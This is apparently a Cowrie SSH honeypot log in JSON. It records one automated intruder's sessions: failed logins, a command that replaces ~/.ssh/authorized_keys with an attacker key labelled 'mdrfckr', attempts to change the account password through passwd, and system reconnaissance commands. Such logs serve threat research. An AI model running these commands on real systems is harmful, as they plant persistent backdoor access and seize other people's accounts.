{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:26.890276Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/bot/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.005040Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.015596Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":41278,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd0bd64fa09d","protocol":"ssh","message":"New connection: 5.89.75.194:41278 (10.17.0.5:22) [session: cd0bd64fa09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.099037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.104883Z","src_ip":"5.89.75.194","session":"cd0bd64fa09d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.206629Z","src_ip":"5.89.75.194","session":"cd0bd64fa09d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:27.647348Z","src_ip":"5.89.75.194","session":"cd0bd64fa09d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:28.755515Z","src_ip":"5.89.75.194","session":"cd0bd64fa09d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":41286,"dst_ip":"10.17.0.5","dst_port":22,"session":"895bf723283c","protocol":"ssh","message":"New connection: 5.89.75.194:41286 (10.17.0.5:22) [session: 895bf723283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:28.853817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:28.857996Z","src_ip":"5.89.75.194","session":"895bf723283c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:28.960760Z","src_ip":"5.89.75.194","session":"895bf723283c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"3245gs5662d34","message":"login attempt [bot/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:29.401123Z","src_ip":"5.89.75.194","session":"895bf723283c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:30.506711Z","src_ip":"5.89.75.194","session":"895bf723283c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:30.704131Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:30.709817Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:30.916742Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.071370Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"botpassword\\nbe3AXUhEhJW5\\nbe3AXUhEhJW5\"|passwd|bash","message":"CMD: echo -e \"botpassword\\nbe3AXUhEhJW5\\nbe3AXUhEhJW5\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.074461Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.077958Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.080877Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0dc3548405b3061fa520dc4a0debf3dc142d23b8a5cea0f7f1ba1608177b1686","size":32,"shasum":"0dc3548405b3061fa520dc4a0debf3dc142d23b8a5cea0f7f1ba1608177b1686","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/0dc3548405b3061fa520dc4a0debf3dc142d23b8a5cea0f7f1ba1608177b1686 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.287241Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.444343Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"botpassword\\nbe3AXUhEhJW5\\nbe3AXUhEhJW5\\n\"|passwd","message":"CMD: echo \"botpassword\\nbe3AXUhEhJW5\\nbe3AXUhEhJW5\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.447595Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1760e1abec475414770c378f0af81fb8db8f270af91256a68eabf3fcfca5b52f","size":25,"shasum":"1760e1abec475414770c378f0af81fb8db8f270af91256a68eabf3fcfca5b52f","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1760e1abec475414770c378f0af81fb8db8f270af91256a68eabf3fcfca5b52f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.652991Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.807236Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:31.810666Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.018726Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.176862Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.181648Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.387683Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.533476Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.536471Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.538707Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.744285Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.903703Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:32.906899Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.116873Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.266950Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.270205Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":204,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.474951Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.623753Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.626556Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.829321Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.979354Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:33.982961Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.188535Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.342005Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.345120Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.552014Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.704900Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.708112Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:34.913044Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.092339Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.095591Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.298531Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.461283Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:35:35.464736Z","src_ip":"5.89.75.194","session":"fefe7a0e4acb","protocol":"ssh"}
